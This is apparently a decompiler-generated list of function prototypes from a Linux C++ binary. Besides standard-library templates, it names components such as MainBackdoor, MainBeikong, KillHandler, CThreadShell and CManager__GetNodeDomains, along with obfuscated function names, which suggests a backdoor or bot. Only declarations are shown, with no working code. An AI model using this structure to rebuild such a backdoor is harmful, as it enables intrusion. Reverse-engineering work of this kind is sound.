int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4);
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___max_size(void);
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_get_node(int32_t * a1);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(int32_t * a1, int32_t * a2);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique_139(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_3 * a4);
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2);
int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____copy_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t ** a3);
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(int32_t * a1, int32_t * a2);
int32_t CConfig__SetDefaultIp(int32_t result, int32_t a2);
int32_t CLoopCmd__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3);
int32_t CCpuLimit__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3);
int32_t CCpuLimit__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3);
int32_t CConfig__InitAbsorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3);
int32_t CConfig__InitExtract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3);
int32_t CConfig__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3);
int32_t CConfig__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3);
int32_t CFakeCustom_144(int32_t * a1);
void std__out_of_range(void);
int32_t Fetcher_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3);
int32_t Storer_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4);
int32_t CMedia__operator_gt__gt__lt_std__string_gt_(int32_t * a1, int32_t a2);
int32_t CMedia__operator_lt__lt__lt_std__string_gt_(int32_t * a1, int32_t * a2);
void __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_CSubTask_gt_(int32_t * a1);
int32_t std__allocator_lt_CSubTask_gt__155(int32_t result);
int32_t Fetcher_lt_bool_gt___Done(char * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_gt__gt__lt_bool_gt_(int32_t * a1, char * a2);
int32_t Fetcher_lt_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_gt__gt__lt_int_gt_(int32_t * a1, int32_t * a2);
int32_t Fetcher_lt_unsigned_short_gt___Done(int16_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_gt__gt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2);
int32_t Storer_lt_bool_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_lt__lt__lt_bool_gt_(int32_t * a1, char * a2);
int32_t Storer_lt_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_lt__lt__lt_int_gt_(int32_t * a1, int32_t * a2);
int32_t Storer_lt_unsigned_short_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_lt__lt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2);
int32_t Fetcher_lt_unsigned_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_gt__gt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct(int32_t * a1, int32_t * a2);
int32_t Storer_lt_unsigned_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5);
int32_t CMedia__operator_lt__lt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2);
void __gnu_cxx____mt_alloc_base_lt_CSubTask_gt_(void);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size(void);
int32_t __gnu_cxx__operator__lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(int32_t a1);
int32_t std__allocator_lt_CSubTask_gt__161(int32_t a1, int32_t a2);
int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3);
int32_t std____copy_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3);
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(struct struct_3 * a1, int32_t * a2);
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___clear(int32_t * a1);
int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3);
int32_t std____copy_backward_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3);
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4);
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, struct struct_6 * a3);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___push_back(int32_t * a1, int32_t * a2);
void KillHandler(void);
int32_t MainMonitor(void);
int32_t MainSystool(int32_t * a1, int32_t ** a2, int32_t a3);
int32_t MainProcess(void);
int32_t MainBackdoor(void);
int32_t MainBeikong(void);
int32_t KDS87y(int16_t * a1, int32_t * a2);
int32_t HGrd9(int32_t result);
int32_t Mndyuf(int32_t result);
int32_t BGtd98(int32_t result);
int32_t nkfsd8(char * a1);
int32_t tRd76(char * a1);
int32_t Kusdf9(char * a1);
int32_t Isuf6(char * a1);
int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(int32_t * a1, char * a2, char * a3);
int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(char * a1, char * a2, char * a3);
int32_t Osdku6(int32_t * a1, int32_t a2);
int32_t wer54(int32_t * a1, int32_t a2);
int32_t CManager__GetNodeDomains(int32_t * a1);
int32_t CManager__CloseAllSockets(char * a1, uint32_t a2);
int32_t CManager_182(int32_t * a1);
int32_t CManager__ZXMainProcess(int32_t * a1);
int32_t CManager__MainProcess(int32_t * a1, int32_t * a2);
int32_t CManager__Initialize(int32_t * a1);
int32_t CBillStatus_184(struct struct_42 * a1);
int32_t CCommonResponse_185(struct struct_43 * a1);
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_not__eq_(int32_t * a1, int32_t * a2);
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_ptr_(int32_t * a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_begin(int32_t * a1);
int32_t CThreadMessageList_lt_CCmdMsg_gt___Initialize(int32_t * a1, int32_t a2);
int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt___Initialize(int32_t a1, int32_t a2);
int32_t CThreadMessageList_lt_CThreadConnection_gt___Initialize(int32_t * a1, int32_t a2);
int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt___Initialize(int32_t a1, int32_t a2);
int32_t CThreadMessageList_lt_CThreadShell_gt___Initialize(int32_t * a1, int32_t a2);
int32_t CThreadSignaledMessageList_lt_CThreadShell_gt___Initialize(int32_t a1, int32_t a2);
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt_(int32_t * a1, int32_t * a2);
int32_t std__pair_lt_std___Rb_tree_const_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3);
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator__(int32_t * a1);
void __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_void__ptr__gt_(int32_t result);
void __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__191(int32_t result);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_right(int32_t * a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_left(int32_t * a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(int32_t * a1);
int32_t std___Identity_lt_void__ptr__gt___operator_lb__rb_(int32_t a1);
int32_t std__less_lt_void__ptr__gt___operator_lb__rb_(int32_t * a1, int32_t * a2);
int32_t std___Rb_tree_iterator_lt_void__ptr__gt_(int32_t ** a1, int32_t * a2);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t * a2);
int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator_eq__eq_(int32_t * a1, int32_t * a2);
int32_t std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3);
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt__192(int32_t * a1, int32_t a2);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin_193(int32_t * a1, int32_t a2);
int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t a2);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t * a1, int32_t a2);
int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t ** a1, int32_t a2);
int32_t std__allocator_lt_CSubTask_gt__196(int32_t a1, int32_t a2);
int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt____Vector_impl_197(struct struct_3 * a1, int32_t a2);
int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__198(struct struct_6 * a1, int32_t a2);
int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__205(int32_t a1);
int32_t std__allocator_lt_CSubTask_gt__206(int32_t a1);
int32_t std__vector_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__207(struct struct_6 * a1, int32_t a2);
int32_t CTask_208(struct struct_45 * a1);
int32_t CInitResponse_209(struct struct_45 * a1);
void __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_CCmdMsg__ptr__gt_(int32_t result);
void __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_CThreadConnection__ptr__gt_(int32_t result);
void __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_CThreadShell__ptr__gt_(int32_t result);
void __gnu_cxx____mt_alloc_base_lt_void__ptr__gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(int32_t a1);
int32_t std__allocator_lt_void__ptr__gt__211(int32_t a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value(int32_t * a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key(int32_t * a1);
int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator__(int32_t * a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value_212(int32_t a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213(int32_t a1);
void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(int32_t a1);
int32_t std__allocator_lt_CCmdMsg__ptr__gt__220(int32_t a1);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_init(int32_t ** a1);
void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(int32_t * a1);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl(int32_t * a1);
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__221(int32_t result);
void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy(void);
void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(int32_t a1);
int32_t std__allocator_lt_CThreadConnection__ptr__gt__223(int32_t a1);
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_init(int32_t ** a1);
void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(int32_t * a1);
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl(int32_t * a1);
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__224(int32_t result);
void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy(void);
void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(int32_t a1);
int32_t std__allocator_lt_CThreadShell__ptr__gt__226(int32_t a1);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_init(int32_t ** a1);
void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(int32_t * a1);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl(int32_t * a1);
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__227(int32_t result);
void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy(void);
void __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__228(int32_t a1);
int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__229(int32_t a1);
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__230(int32_t a1);
int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__231(int32_t a1, int32_t a2);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____Rb_tree_impl_lt_std__less_lt_void__ptr__gt__comma__false_gt__232(int32_t result, int32_t a2);
void std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt_(int32_t * a1, int32_t a2, int32_t a3);
int32_t std__allocator_lt_void__ptr__gt__233(int32_t a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2);
void std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt__235(int32_t * a1);
int32_t __gnu_cxx____mt_alloc_base_lt_void__ptr__gt___construct(int32_t a1, int32_t * a2);
int32_t std__allocator_lt_CCmdMsg__ptr__gt__246(int32_t a1);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_clear(int32_t ** a1);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1);
int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1);
int32_t CThreadMessageList_lt_CCmdMsg_gt_(int32_t a1);
int32_t CThreadMessageList_lt_CCmdMsg_gt__247(int32_t a1);
int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt_(int32_t a1);
int32_t std__allocator_lt_CThreadConnection__ptr__gt__248(int32_t a1);
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3);
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2);
